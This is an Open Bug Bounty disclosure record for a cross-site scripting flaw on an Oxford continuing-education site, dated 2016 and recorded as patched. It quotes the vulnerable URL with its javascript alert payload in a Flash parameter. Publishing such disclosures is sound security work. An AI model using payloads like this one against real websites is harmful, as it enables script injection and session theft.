Lucene search

K
openbugbountySinisterOBB:141640
HistoryMar 15, 2016 - 9:13 a.m.

conted.ox.ac.uk XSS vulnerability

2016-03-1509:13:00
sinister
www.openbugbounty.org
8
Vulnerable URL:
https://www.conted.ox.ac.uk/courses/professional/nanobasics/nano/media/interface.swf?flashContentURL=flash_content/flash_content.html&altContentURL;=javascript:alert('XSSPOSED')
Details:
Description Value
Patched: Yes, at 25.04.2016
Latest check for patch: 25.04.2016 14:22 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 4312
Google Pagerank 6
VIP website status: Yes
Check conted.ox.ac.uk SSL connection: (Grade: B)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 15 March, 2016 09:13 GMT
Vulnerability existence verified and confirmed 16 March, 2016 05:57 GMT
Vulnerability details disclosed by researcher 18 March, 2016 17:52 GMT
Vulnerability patched by the website owner 27 April, 2016 20:45 GMT